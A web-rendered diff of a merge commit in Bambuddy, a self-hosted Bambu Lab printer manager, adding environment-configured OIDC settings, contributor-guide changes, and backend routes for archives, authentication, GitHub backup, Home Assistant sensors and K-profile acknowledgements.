Просмотр исходного кода

Merge remote-tracking branch 'upstream/dev' into feature/billing

behrinml 1 месяц назад
Родитель
Сommit
43bf854bd5
100 измененных файлов с 14136 добавлено и 653 удалено
  1. 61 0
      .env.example
  2. 1 0
      BACKERS.md
  3. 0 0
      CHANGELOG.md
  4. 12 15
      CONTRIBUTING.md
  5. 1 1
      README.md
  6. 34 2
      backend/app/api/routes/archives.py
  7. 6 1
      backend/app/api/routes/auth.py
  8. 34 0
      backend/app/api/routes/github_backup.py
  9. 239 0
      backend/app/api/routes/ha_sensors.py
  10. 18 0
      backend/app/api/routes/kprofiles.py
  11. 114 41
      backend/app/api/routes/library.py
  12. 425 0
      backend/app/api/routes/library_variants.py
  13. 16 0
      backend/app/api/routes/mfa.py
  14. 24 3
      backend/app/api/routes/orca_cloud.py
  15. 57 47
      backend/app/api/routes/print_log.py
  16. 719 86
      backend/app/api/routes/print_queue.py
  17. 19 16
      backend/app/api/routes/printers.py
  18. 83 0
      backend/app/api/routes/updates.py
  19. 6 0
      backend/app/api/routes/virtual_printers.py
  20. 19 0
      backend/app/core/config.py
  21. 166 0
      backend/app/core/database.py
  22. 14 1
      backend/app/core/logging_filters.py
  23. 278 0
      backend/app/core/oidc_env.py
  24. 78 2
      backend/app/main.py
  25. 6 2
      backend/app/models/__init__.py
  26. 53 0
      backend/app/models/library.py
  27. 3 0
      backend/app/models/notification.py
  28. 6 0
      backend/app/models/notification_template.py
  29. 4 0
      backend/app/models/oidc_provider.py
  30. 58 2
      backend/app/models/print_batch.py
  31. 7 0
      backend/app/models/print_log.py
  32. 76 0
      backend/app/models/print_queue.py
  33. 2 0
      backend/app/models/printer.py
  34. 72 0
      backend/app/models/printer_ha_sensor.py
  35. 12 0
      backend/app/models/virtual_printer.py
  36. 3 0
      backend/app/schemas/auth.py
  37. 13 0
      backend/app/schemas/github_backup.py
  38. 62 0
      backend/app/schemas/library.py
  39. 8 0
      backend/app/schemas/notification.py
  40. 9 0
      backend/app/schemas/notification_template.py
  41. 9 1
      backend/app/schemas/print_log.py
  42. 137 3
      backend/app/schemas/print_queue.py
  43. 8 0
      backend/app/schemas/printer.py
  44. 114 0
      backend/app/schemas/printer_ha_sensor.py
  45. 55 2
      backend/app/schemas/settings.py
  46. 21 0
      backend/app/schemas/slicer.py
  47. 36 0
      backend/app/services/archive.py
  48. 382 122
      backend/app/services/bambu_mqtt.py
  49. 158 51
      backend/app/services/external_camera.py
  50. 335 58
      backend/app/services/github_backup.py
  51. 271 0
      backend/app/services/ha_sensor_manager.py
  52. 102 0
      backend/app/services/homeassistant.py
  53. 42 18
      backend/app/services/ldap_service.py
  54. 19 0
      backend/app/services/library_trash.py
  55. 37 0
      backend/app/services/notification_service.py
  56. 541 0
      backend/app/services/print_batch.py
  57. 2 0
      backend/app/services/print_log.py
  58. 652 95
      backend/app/services/print_scheduler.py
  59. 85 14
      backend/app/services/printer_manager.py
  60. 39 6
      backend/app/services/slicer_api.py
  61. 94 2
      backend/app/services/spoolman_tracking.py
  62. 68 0
      backend/app/services/virtual_printer/diagnostic.py
  63. 205 7
      backend/app/services/virtual_printer/manager.py
  64. 59 0
      backend/app/utils/printer_models.py
  65. 242 0
      backend/tests/integration/test_archives_api.py
  66. 317 0
      backend/tests/integration/test_ha_sensors_api_1148.py
  67. 354 0
      backend/tests/integration/test_library_slice_api.py
  68. 246 0
      backend/tests/integration/test_library_variants_api.py
  69. 29 0
      backend/tests/integration/test_local_login_gate.py
  70. 801 0
      backend/tests/integration/test_oidc_env_apply.py
  71. 137 0
      backend/tests/integration/test_oidc_env_lock.py
  72. 43 0
      backend/tests/integration/test_oidc_env_startup.py
  73. 51 0
      backend/tests/integration/test_overlay_status_api.py
  74. 117 0
      backend/tests/integration/test_ownership_permissions.py
  75. 833 0
      backend/tests/integration/test_print_batch_orders.py
  76. 205 0
      backend/tests/integration/test_print_queue_api.py
  77. 18 0
      backend/tests/integration/test_printers_api.py
  78. 297 0
      backend/tests/integration/test_queue_variants_api.py
  79. 37 0
      backend/tests/integration/test_security_headers.py
  80. 159 1
      backend/tests/integration/test_updates_api.py
  81. 21 0
      backend/tests/unit/services/test_bambu_cloud.py
  82. 545 3
      backend/tests/unit/services/test_bambu_mqtt.py
  83. 88 0
      backend/tests/unit/services/test_ldap_service.py
  84. 58 0
      backend/tests/unit/services/test_notification_service.py
  85. 132 4
      backend/tests/unit/services/test_printer_manager.py
  86. 109 0
      backend/tests/unit/services/test_slicer_api.py
  87. 243 0
      backend/tests/unit/services/test_spoolman_slot_mapping_fallback.py
  88. 871 44
      backend/tests/unit/services/test_virtual_printer.py
  89. 112 2
      backend/tests/unit/services/test_vp_diagnostic.py
  90. 66 0
      backend/tests/unit/test_chamber_temp_ceiling.py
  91. 77 0
      backend/tests/unit/test_compose_dir_setting.py
  92. 290 0
      backend/tests/unit/test_external_camera_ssrf.py
  93. 509 0
      backend/tests/unit/test_github_backup_cloud_profiles.py
  94. 281 0
      backend/tests/unit/test_ha_sensor_manager_1148.py
  95. 38 0
      backend/tests/unit/test_log_credential_redaction.py
  96. 126 0
      backend/tests/unit/test_oidc_env_managed_migration.py
  97. 12 0
      backend/tests/unit/test_oidc_env_provider.py
  98. 248 0
      backend/tests/unit/test_oidc_env_reader.py
  99. 125 0
      backend/tests/unit/test_orca_cloud_refresh.py
  100. 10 1
      backend/tests/unit/test_outbound_url_ssrf_guards.py

+ 61 - 0
.env.example

@@ -66,3 +66,64 @@ LOG_TO_FILE=true
 # LDAP is governed by its own ldap_enabled toggle and is not affected.
 # LDAP is governed by its own ldap_enabled toggle and is not affected.
 # Leave unset for normal operation.
 # Leave unset for normal operation.
 # BAMBUDDY_LOCAL_LOGIN=true
 # BAMBUDDY_LOCAL_LOGIN=true
+
+# --- OIDC provider from the environment (#2593) ------------------------------
+# Defines ONE OIDC provider declaratively, for deployments that are managed by
+# compose files or GitOps and never touch the settings UI. Providers created in
+# the UI are unaffected and keep working alongside this one.
+#
+# Activates only when all four required vars below are set; an empty value
+# counts as unset. The provider is written on startup and re-applied on every
+# boot, so the UI shows it as read-only and the API refuses to change it -- an
+# edit there would be reverted at the next restart anyway.
+#
+# Removing the vars DISABLES the provider rather than deleting it: accounts
+# linked to it would otherwise lose their link permanently. Re-adding the vars
+# enables it again with those links intact.
+#
+# If you lock yourself out, BAMBUDDY_LOCAL_LOGIN=true above is the way back in.
+#
+# Required:
+# BAMBUDDY_OIDC_NAME=Keycloak
+# BAMBUDDY_OIDC_ISSUER_URL=https://sso.example.com/realms/main
+# BAMBUDDY_OIDC_CLIENT_ID=bambuddy
+# BAMBUDDY_OIDC_CLIENT_SECRET=your-client-secret
+#
+# Optional, shown with their defaults:
+# BAMBUDDY_OIDC_SCOPES=openid email profile
+# BAMBUDDY_OIDC_ENABLED=true
+# BAMBUDDY_OIDC_AUTO_CREATE_USERS=false
+# BAMBUDDY_OIDC_AUTO_LINK_EXISTING=false
+# BAMBUDDY_OIDC_EMAIL_CLAIM=email
+# BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED=true
+# BAMBUDDY_OIDC_ICON_URL=
+# BAMBUDDY_OIDC_AUTOLOGIN=false
+# BAMBUDDY_OIDC_DEFAULT_GROUP=
+#
+# Booleans accept true/1/yes or false/0/no (case-insensitive). Blank or unset
+# uses the default; any other value is rejected and the provider is skipped.
+#
+# DEFAULT_GROUP is the group new users land in when AUTO_CREATE_USERS is on;
+# without it they get Viewers. It matches a group NAME exactly (case-sensitive)
+# -- group ids are assigned per install, so the same compose file would point at
+# a different group on every deployment. A name that matches no group is
+# refused: the provider is left as it was and the reason is logged, rather than
+# quietly creating under-privileged users the locked UI could not correct. On a
+# FIRST boot that means no provider is created at all and no SSO button appears
+# -- create the group first. Removing the variable clears the group again.
+#
+# AUTO_LINK_EXISTING binds an OIDC identity to an existing local account with
+# the same email address. With EMAIL_CLAIM=email it is refused unless
+# REQUIRE_EMAIL_VERIFIED=true, because an identity provider that does not
+# verify addresses would let anyone claim someone else's account. The whole
+# config is then skipped and logged; the app still starts.
+#
+# ISSUER_URL must be https:// and publicly reachable -- private, loopback,
+# link-local, numeric-encoded and IPv4-mapped hosts are rejected. An in-cluster
+# URL like http://keycloak:8080 is refused with a single log line and no SSO
+# button; use the externally-reachable HTTPS issuer URL instead.
+#
+# NAME is matched against the existing providers on every boot: setting it to
+# the name of one you already created in the UI ADOPTS and OVERWRITES it (its
+# issuer, client id and secret are replaced and it becomes read-only). Pick a
+# name that doesn't collide unless that takeover is intended.

+ 1 - 0
BACKERS.md

@@ -69,6 +69,7 @@ If you sponsor and your name isn't here within 48h, please write an email to mar
 - [@iljur](https://github.com/iljur)
 - [@iljur](https://github.com/iljur)
 - [@bhamiltoncx](https://github.com/bhamiltoncx)
 - [@bhamiltoncx](https://github.com/bhamiltoncx)
 - [@g7ufo](https://github.com/g7ufo)
 - [@g7ufo](https://github.com/g7ufo)
+- [@Heidelberger2000](https://github.com/Heidelberger2000)
 
 
 ---
 ---
 
 

Разница между файлами не показана из-за своего большого размера
+ 0 - 0
CHANGELOG.md


+ 12 - 15
CONTRIBUTING.md

@@ -223,21 +223,18 @@ The frontend uses [react-i18next](https://react.i18next.com/) for all user-facin
 
 
 ### Locale Files
 ### Locale Files
 
 
-Translations live in `frontend/src/i18n/locales/`:
-
-| File | Language |
-|------|----------|
-| `en.ts` | English (primary) |
-| `de.ts` | German |
-| `fr.ts` | French |
-| `ja.ts` | Japanese |
-| `pt-BR.ts` | Brazilian Portuguese |
-[...]
-check for possibly more files!!!
+Translations live in `frontend/src/i18n/locales/`. `en.ts` is the reference locale; every other `*.ts` file in that directory is checked against it. The parity check discovers the directory at runtime, so a new locale is picked up automatically — this file never needs updating when one is added.
+
+To see the current set of locales and check your work:
+
+```bash
+cd frontend
+npm run check:i18n
+```
 
 
 ### Adding New Strings
 ### Adding New Strings
 
 
-1. Add the key to the appropriate section in **all three** locale files
+1. Add the key to the appropriate section in **every** locale file
 2. Use the `useTranslation` hook in your component:
 2. Use the `useTranslation` hook in your component:
 
 
 ```tsx
 ```tsx
@@ -253,9 +250,9 @@ function MyComponent() {
 
 
 ### Important Notes
 ### Important Notes
 
 
-- All three locale files must use the **same key structure** — same nesting, same key paths
-- Always add keys to all three locales to maintain parity
-- Run frontend tests after changes — locale parity is validated
+- Every locale file must use the **same key structure** — same nesting, same key paths
+- Always add keys to **every** locale to maintain parity, with real translations rather than English placeholders — the check flags leaves that are identical to `en`
+- Run `npm run test:run` before pushing — it chains the parity check, which CI runs too. Plain `npm test` is vitest in watch mode and skips it
 - If you find structural inconsistencies between locales, fix them — different key paths cause silent fallback to English
 - If you find structural inconsistencies between locales, fix them — different key paths cause silent fallback to English
 
 
 ## Authentication & Permissions
 ## Authentication & Permissions

+ 1 - 1
README.md

@@ -6,7 +6,7 @@
 
 
 <p align="center">
 <p align="center">
   <strong>Your printers. No cloud. Your rules.</strong><br>
   <strong>Your printers. No cloud. Your rules.</strong><br>
-  Self-hosted command center for Bambu Lab &mdash; from one A1 to a 40-printer farm.
+  Self-hosted command center for Bambu Lab &mdash; from one A1 to an entire print farm.
 </p>
 </p>
 
 
 <p align="center">
 <p align="center">

+ 34 - 2
backend/app/api/routes/archives.py

@@ -3429,10 +3429,28 @@ async def get_plate_preview(
 async def upload_archive(
 async def upload_archive(
     file: UploadFile = File(...),
     file: UploadFile = File(...),
     printer_id: int | None = None,
     printer_id: int | None = None,
+    prefer_filename_for_name: bool = Query(
+        False,
+        description=(
+            "Name the archive after the uploaded filename instead of the print_name "
+            "embedded in the 3MF's metadata. Off by default, which keeps the embedded "
+            "name. Turn it on when the filename you send is the meaningful one — an "
+            "integration naming files after its own jobs, or a file whose embedded "
+            "title is a stale name from whoever originally sliced it."
+        ),
+    ),
     db: AsyncSession = Depends(get_db),
     db: AsyncSession = Depends(get_db),
     current_user: User | None = RequirePermissionIfAuthEnabled(Permission.ARCHIVES_CREATE),
     current_user: User | None = RequirePermissionIfAuthEnabled(Permission.ARCHIVES_CREATE),
 ):
 ):
-    """Manually upload a 3MF file to archive."""
+    """Manually upload a 3MF file to archive.
+
+    prefer_filename_for_name is the same flag the FTP review flow and
+    virtual-printer dispatch already pass to ArchiveService.archive_print —
+    this endpoint just didn't expose it (#1152 follow-up). Those callers derive
+    it from the VP-scoped `virtual_printer_archive_name_source` setting; here it
+    is per-request, because the caller is an API client that knows whether the
+    filename it sent is the meaningful one (#2609).
+    """
     if not file.filename or not file.filename.endswith(".3mf"):
     if not file.filename or not file.filename.endswith(".3mf"):
         raise HTTPException(400, "File must be a .3mf file")
         raise HTTPException(400, "File must be a .3mf file")
 
 
@@ -3458,6 +3476,7 @@ async def upload_archive(
             printer_id=printer_id,
             printer_id=printer_id,
             source_file=temp_path,
             source_file=temp_path,
             created_by_id=current_user.id if current_user else None,
             created_by_id=current_user.id if current_user else None,
+            prefer_filename_for_name=prefer_filename_for_name,
         )
         )
 
 
         if not archive:
         if not archive:
@@ -3473,10 +3492,22 @@ async def upload_archive(
 async def upload_archives_bulk(
 async def upload_archives_bulk(
     files: list[UploadFile] = File(...),
     files: list[UploadFile] = File(...),
     printer_id: int | None = None,
     printer_id: int | None = None,
+    prefer_filename_for_name: bool = Query(
+        False,
+        description=(
+            "Name each archive after its uploaded filename instead of the print_name "
+            "embedded in the 3MF's metadata. Applies to every file in the batch. Off "
+            "by default, which keeps the embedded name."
+        ),
+    ),
     db: AsyncSession = Depends(get_db),
     db: AsyncSession = Depends(get_db),
     current_user: User | None = RequirePermissionIfAuthEnabled(Permission.ARCHIVES_CREATE),
     current_user: User | None = RequirePermissionIfAuthEnabled(Permission.ARCHIVES_CREATE),
 ):
 ):
-    """Bulk upload multiple 3MF files to archive."""
+    """Bulk upload multiple 3MF files to archive.
+
+    prefer_filename_for_name applies to every file in the batch. See
+    upload_archive for the flag's lineage.
+    """
     from backend.app.api.routes.library import validate_print_file_upload
     from backend.app.api.routes.library import validate_print_file_upload
 
 
     results = []
     results = []
@@ -3511,6 +3542,7 @@ async def upload_archives_bulk(
                 printer_id=printer_id,
                 printer_id=printer_id,
                 source_file=temp_path,
                 source_file=temp_path,
                 created_by_id=current_user.id if current_user else None,
                 created_by_id=current_user.id if current_user else None,
+                prefer_filename_for_name=prefer_filename_for_name,
             )
             )
 
 
             if archive:
             if archive:

+ 6 - 1
backend/app/api/routes/auth.py

@@ -35,6 +35,7 @@ from backend.app.core.auth import (
     security,
     security,
 )
 )
 from backend.app.core.database import async_session, get_db
 from backend.app.core.database import async_session, get_db
+from backend.app.core.oidc_env import env_bool
 from backend.app.core.permissions import ALL_PERMISSIONS
 from backend.app.core.permissions import ALL_PERMISSIONS
 from backend.app.models.auth_ephemeral import AuthEphemeralToken, AuthRateLimitEvent, EventType, TokenType
 from backend.app.models.auth_ephemeral import AuthEphemeralToken, AuthRateLimitEvent, EventType, TokenType
 from backend.app.models.group import Group
 from backend.app.models.group import Group
@@ -123,7 +124,11 @@ def _local_login_env_bypass() -> bool:
     an install whose SSO provider is unreachable. Accepted truthy values:
     an install whose SSO provider is unreachable. Accepted truthy values:
     ``true``, ``1``, ``yes`` (case-insensitive).
     ``true``, ``1``, ``yes`` (case-insensitive).
     """
     """
-    return os.environ.get("BAMBUDDY_LOCAL_LOGIN", "").strip().lower() in {"true", "1", "yes"}
+    # strict=False: this runs on the login/forgot-password request path, not at
+    # startup. An unrecognized value must fall back to "off" (the safe default),
+    # never raise -- a 500 on the recovery endpoint is the opposite of what this
+    # bypass is for.
+    return env_bool("BAMBUDDY_LOCAL_LOGIN", False, strict=False)
 
 
 
 
 def _get_client_ip(request: Request) -> str:
 def _get_client_ip(request: Request) -> str:

+ 34 - 0
backend/app/api/routes/github_backup.py

@@ -12,6 +12,7 @@ from backend.app.core.permissions import Permission
 from backend.app.models.github_backup import GitHubBackupConfig, GitHubBackupLog
 from backend.app.models.github_backup import GitHubBackupConfig, GitHubBackupLog
 from backend.app.models.user import User
 from backend.app.models.user import User
 from backend.app.schemas.github_backup import (
 from backend.app.schemas.github_backup import (
+    CloudAccountCounts,
     GitHubBackupConfigCreate,
     GitHubBackupConfigCreate,
     GitHubBackupConfigResponse,
     GitHubBackupConfigResponse,
     GitHubBackupConfigUpdate,
     GitHubBackupConfigUpdate,
@@ -75,6 +76,39 @@ async def _enforce_private_repo(repo_url: str, token: str, provider: str) -> Non
         raise HTTPException(status_code=400, detail=_PUBLIC_REPO_ERROR)
         raise HTTPException(status_code=400, detail=_PUBLIC_REPO_ERROR)
 
 
 
 
+async def _count_cloud_accounts(db: AsyncSession) -> tuple[int, int]:
+    """How many Bambu / Orca accounts a backup would collect from.
+
+    Asks the collector itself rather than re-deriving the rule, so the number
+    the UI gates on can't drift from the number the backup actually uses
+    (#2717). Counts only — never who.
+    """
+    try:
+        bambu, orca = await github_backup_service.cloud_accounts(db)
+        return len(bambu), len(orca)
+    except Exception:
+        # A settings page must still render when a credential store is
+        # unreadable; the toggle simply shows as unavailable.
+        logger.warning("Failed to count connected cloud accounts", exc_info=True)
+        return 0, 0
+
+
+@router.get("/cloud-accounts", response_model=CloudAccountCounts)
+async def get_cloud_accounts(
+    db: AsyncSession = Depends(get_db),
+    _: User | None = RequirePermissionIfAuthEnabled(Permission.GITHUB_BACKUP),
+):
+    """How many cloud accounts the Cloud Profiles category would collect from.
+
+    Its own endpoint rather than a field on ``/config``, because the settings
+    form needs this before any config exists — ``/config`` answers ``null``
+    until the first save, which would leave the toggle disabled during the
+    very setup it's part of.
+    """
+    bambu, orca = await _count_cloud_accounts(db)
+    return CloudAccountCounts(bambu=bambu, orca=orca)
+
+
 def _config_to_response(config: GitHubBackupConfig) -> dict:
 def _config_to_response(config: GitHubBackupConfig) -> dict:
     """Convert config model to response dict."""
     """Convert config model to response dict."""
     return {
     return {

+ 239 - 0
backend/app/api/routes/ha_sensors.py

@@ -0,0 +1,239 @@
+"""API routes for Home Assistant sensors bound to a printer (#1148, #448)."""
+
+import logging
+
+from fastapi import APIRouter, Depends, HTTPException
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from backend.app.core.auth import RequirePermissionIfAuthEnabled
+from backend.app.core.database import get_db
+from backend.app.core.permissions import Permission
+from backend.app.models.printer import Printer
+from backend.app.models.printer_ha_sensor import PrinterHASensor
+from backend.app.models.user import User
+from backend.app.schemas.printer_ha_sensor import (
+    HADisplayEntity,
+    PrinterHASensorCreate,
+    PrinterHASensorReading,
+    PrinterHASensorResponse,
+    PrinterHASensorUpdate,
+)
+from backend.app.services.ha_sensor_manager import ha_sensor_manager
+from backend.app.services.homeassistant import homeassistant_service
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/ha-sensors", tags=["ha-sensors"])
+
+# These reuse the smart-plug permissions rather than introducing their own.
+# Both surfaces are "the Home Assistant integration", and a brand-new
+# permission would be missing from every existing custom role — users who can
+# manage plugs today would silently lose access to the sensors next to them.
+_READ = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_READ)
+_CREATE = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_CREATE)
+_UPDATE = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_UPDATE)
+_DELETE = RequirePermissionIfAuthEnabled(Permission.SMART_PLUGS_DELETE)
+
+
+async def _refresh_quietly(sensor: PrinterHASensor, db: AsyncSession) -> None:
+    """Take a first reading without letting it fail the write that preceded it.
+
+    The sensor row is committed before this runs. A failure here costs the card
+    one poll interval of blank state, which is not worth turning a successful
+    save into an error response.
+    """
+    try:
+        await ha_sensor_manager.refresh_one(db, sensor)
+    except Exception as e:
+        logger.warning("Could not read %s right after saving it: %s", sensor.entity_id, e)
+
+
+@router.get("/", response_model=list[PrinterHASensorResponse])
+async def list_ha_sensors(
+    printer_id: int | None = None,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    """List configured sensors, grouped by printer and in display order."""
+    query = select(PrinterHASensor)
+    if printer_id is not None:
+        query = query.where(PrinterHASensor.printer_id == printer_id)
+    result = await db.execute(query.order_by(PrinterHASensor.printer_id, PrinterHASensor.sort_order))
+    return list(result.scalars().all())
+
+
+# Must precede /{sensor_id} so "entities" is not parsed as an id.
+@router.get("/entities", response_model=list[HADisplayEntity])
+async def list_bindable_entities(
+    search: str | None = None,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    """List the Home Assistant entities that can be bound to a printer."""
+    from backend.app.api.routes.settings import get_homeassistant_settings
+
+    ha_settings = await get_homeassistant_settings(db)
+    if not ha_settings["ha_url"] or not ha_settings["ha_token"]:
+        raise HTTPException(
+            400,
+            "Home Assistant not configured. Please set HA URL and token in Settings → Network → Home Assistant.",
+        )
+
+    entities = await homeassistant_service.list_display_entities(ha_settings["ha_url"], ha_settings["ha_token"], search)
+    return [HADisplayEntity(**e) for e in entities]
+
+
+@router.get("/by-printer/{printer_id}/readings", response_model=list[PrinterHASensorReading])
+async def get_printer_sensor_readings(
+    printer_id: int,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    """Live state of a printer's card-visible sensors.
+
+    Served from the poller's cache, so a page full of printer cards costs
+    Home Assistant nothing. A sensor the poller has not reached yet falls back
+    to its last persisted state, marked unreachable, rather than vanishing
+    from the card on every restart.
+    """
+    result = await db.execute(
+        select(PrinterHASensor)
+        .where(
+            PrinterHASensor.printer_id == printer_id,
+            PrinterHASensor.show_on_printer_card.is_(True),
+        )
+        .order_by(PrinterHASensor.sort_order, PrinterHASensor.id)
+    )
+
+    readings = []
+    for sensor in result.scalars().all():
+        cached = ha_sensor_manager.get_reading(sensor.id)
+        readings.append(
+            PrinterHASensorReading(
+                id=sensor.id,
+                name=sensor.name,
+                entity_id=sensor.entity_id,
+                kind=sensor.kind,
+                device_class=sensor.device_class,
+                unit=sensor.unit,
+                state=cached.state if cached else sensor.last_state,
+                value=cached.value if cached else None,
+                alerting=cached.alerting if cached else False,
+                block_print=sensor.block_print,
+                reachable=cached.reachable if cached else False,
+                last_changed=sensor.last_changed,
+            )
+        )
+    return readings
+
+
+@router.post("/", response_model=PrinterHASensorResponse)
+async def create_ha_sensor(
+    data: PrinterHASensorCreate,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _CREATE,
+):
+    """Bind a Home Assistant entity to a printer."""
+    printer = await db.get(Printer, data.printer_id)
+    if not printer:
+        raise HTTPException(404, "Printer not found")
+
+    existing = await db.execute(
+        select(PrinterHASensor).where(
+            PrinterHASensor.printer_id == data.printer_id,
+            PrinterHASensor.entity_id == data.entity_id,
+        )
+    )
+    if existing.scalar_one_or_none():
+        raise HTTPException(400, f"{data.entity_id} is already bound to this printer")
+
+    sensor = PrinterHASensor(**data.model_dump())
+    db.add(sensor)
+    await db.commit()
+    await db.refresh(sensor)
+    logger.info("Bound HA entity %s to printer %s as '%s'", sensor.entity_id, sensor.printer_id, sensor.name)
+
+    # Read it once now so the card shows a state immediately instead of after
+    # the next poll tick. Best-effort: the row is already committed, so letting
+    # a Home Assistant hiccup 500 the request would report a failure for work
+    # that succeeded — and the retry would come back "already bound".
+    await _refresh_quietly(sensor, db)
+    return sensor
+
+
+@router.get("/{sensor_id}", response_model=PrinterHASensorResponse)
+async def get_ha_sensor(
+    sensor_id: int,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _READ,
+):
+    sensor = await db.get(PrinterHASensor, sensor_id)
+    if not sensor:
+        raise HTTPException(404, "Sensor not found")
+    return sensor
+
+
+@router.patch("/{sensor_id}", response_model=PrinterHASensorResponse)
+async def update_ha_sensor(
+    sensor_id: int,
+    data: PrinterHASensorUpdate,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _UPDATE,
+):
+    sensor = await db.get(PrinterHASensor, sensor_id)
+    if not sensor:
+        raise HTTPException(404, "Sensor not found")
+
+    updates = data.model_dump(exclude_unset=True)
+
+    # Re-run the create-time rules against the merged row. A PATCH that only
+    # sets block_print has no entity_id or alert_state in its payload, so the
+    # schema alone cannot tell whether the result is coherent.
+    merged = {field: getattr(sensor, field) for field in PrinterHASensorCreate.model_fields}
+    merged.update(updates)
+    try:
+        PrinterHASensorCreate(**merged)
+    except ValueError as e:
+        raise HTTPException(422, str(e)) from e
+
+    # Same uniqueness rule as create: repointing a sensor at an entity the
+    # printer already has would leave two rows fighting over one pill.
+    new_entity = updates.get("entity_id")
+    if new_entity and new_entity != sensor.entity_id:
+        clash = await db.execute(
+            select(PrinterHASensor).where(
+                PrinterHASensor.printer_id == sensor.printer_id,
+                PrinterHASensor.entity_id == new_entity,
+                PrinterHASensor.id != sensor.id,
+            )
+        )
+        if clash.scalar_one_or_none():
+            raise HTTPException(400, f"{new_entity} is already bound to this printer")
+
+    for field, value in updates.items():
+        setattr(sensor, field, value)
+    await db.commit()
+    await db.refresh(sensor)
+
+    # The entity or its alert rule may have changed under the cached reading.
+    await _refresh_quietly(sensor, db)
+    return sensor
+
+
+@router.delete("/{sensor_id}")
+async def delete_ha_sensor(
+    sensor_id: int,
+    db: AsyncSession = Depends(get_db),
+    _: User | None = _DELETE,
+):
+    sensor = await db.get(PrinterHASensor, sensor_id)
+    if not sensor:
+        raise HTTPException(404, "Sensor not found")
+
+    name = sensor.name
+    await db.delete(sensor)
+    await db.commit()
+    ha_sensor_manager.forget(sensor_id)
+    logger.info("Removed HA sensor '%s'", name)
+    return {"message": f"Sensor '{name}' removed"}

+ 18 - 0
backend/app/api/routes/kprofiles.py

@@ -148,6 +148,9 @@ async def set_kprofile(
         )
         )
         if not delete_success:
         if not delete_success:
             raise HTTPException(500, "Failed to delete existing K-profile for edit")
             raise HTTPException(500, "Failed to delete existing K-profile for edit")
+        ok, detail = await client.await_cali_ack(delete_success)
+        if not ok:
+            raise HTTPException(500, f"Printer rejected the K-profile edit: {detail}")
 
 
         # Wait for printer to process the delete before adding
         # Wait for printer to process the delete before adding
         await asyncio.sleep(0.5)
         await asyncio.sleep(0.5)
@@ -179,6 +182,13 @@ async def set_kprofile(
     if not success:
     if not success:
         raise HTTPException(500, "Failed to send K-profile command")
         raise HTTPException(500, "Failed to send K-profile command")
 
 
+    # The printer answers extrusion_cali_set with result/reason, echoing our
+    # sequence_id. Until #2718 that answer was logged at DEBUG and discarded,
+    # so a rejected write was reported to the user as saved.
+    ok, detail = await client.await_cali_ack(success)
+    if not ok:
+        raise HTTPException(500, f"Printer rejected the K-profile: {detail}")
+
     message = "K-profile updated successfully" if is_edit else "K-profile added successfully"
     message = "K-profile updated successfully" if is_edit else "K-profile added successfully"
     return {"success": True, "message": message}
     return {"success": True, "message": message}
 
 
@@ -239,6 +249,10 @@ async def set_kprofiles_batch(
     if not success:
     if not success:
         raise HTTPException(500, "Failed to send K-profiles batch command")
         raise HTTPException(500, "Failed to send K-profiles batch command")
 
 
+    ok, detail = await client.await_cali_ack(success)
+    if not ok:
+        raise HTTPException(500, f"Printer rejected the K-profiles: {detail}")
+
     return {"success": True, "message": f"Added {len(profiles)} K-profiles"}
     return {"success": True, "message": f"Added {len(profiles)} K-profiles"}
 
 
 
 
@@ -283,6 +297,10 @@ async def delete_kprofile(
     if not success:
     if not success:
         raise HTTPException(500, "Failed to send K-profile delete command")
         raise HTTPException(500, "Failed to send K-profile delete command")
 
 
+    ok, detail = await client.await_cali_ack(success)
+    if not ok:
+        raise HTTPException(500, f"Printer rejected the delete: {detail}")
+
     # Wait for printer to process the delete before frontend refetches
     # Wait for printer to process the delete before frontend refetches
     await asyncio.sleep(0.5)
     await asyncio.sleep(0.5)
 
 

+ 114 - 41
backend/app/api/routes/library.py

@@ -2023,6 +2023,20 @@ async def list_files(
             )
             )
             hash_counts = {h: c - 1 for h, c in dup_result.all()}  # -1 to exclude self
             hash_counts = {h: c - 1 for h, c in dup_result.all()}  # -1 to exclude self
 
 
+    # Variant group sizes (#671 / #2570). Counted across the whole group rather
+    # than the rows on screen — members can sit in different folders, so counting
+    # the listing would under-report and the "2 versions" badge would blink in
+    # and out as the user navigated.
+    variant_counts: dict[int, int] = {}
+    group_ids = {f.variant_group_id for f in files if f.variant_group_id}
+    if group_ids:
+        count_result = await db.execute(
+            select(LibraryFile.variant_group_id, func.count(LibraryFile.id))
+            .where(LibraryFile.variant_group_id.in_(group_ids), LibraryFile.deleted_at.is_(None))
+            .group_by(LibraryFile.variant_group_id)
+        )
+        variant_counts = dict(count_result.all())
+
     # Prevent browser caching of file list
     # Prevent browser caching of file list
     response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
     response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
 
 
@@ -2059,6 +2073,8 @@ async def list_files(
                 filament_used_grams=filament_grams,
                 filament_used_grams=filament_grams,
                 sliced_for_model=sliced_for_model,
                 sliced_for_model=sliced_for_model,
                 tags=[TagSummary(id=t.id, name=t.name) for t in f.tags],
                 tags=[TagSummary(id=t.id, name=t.name) for t in f.tags],
+                variant_group_id=f.variant_group_id,
+                variant_count=variant_counts.get(f.variant_group_id, 0) if f.variant_group_id else 0,
             )
             )
         )
         )
 
 
@@ -3756,6 +3772,13 @@ async def _run_slicer_with_fallback(
                 target_model,
                 target_model,
             )
             )
             cross_class_arrange = True
             cross_class_arrange = True
+
+    # #2548: the user can also ask for either layout pass per-slice. Arrange
+    # is a union with the cross-class decision above — a user opt-out must
+    # not be able to switch off the flag that keeps a class-crossing slice
+    # from crashing — while orient is user-driven only.
+    arrange_flag = cross_class_arrange or request.auto_arrange
+    orient_flag = request.auto_orient
     # When this slice is dispatcher-tracked, generate a request_id so
     # When this slice is dispatcher-tracked, generate a request_id so
     # the sidecar publishes progress under it, and wire a callback that
     # the sidecar publishes progress under it, and wire a callback that
     # forwards each frame onto SliceDispatchService.set_progress for the
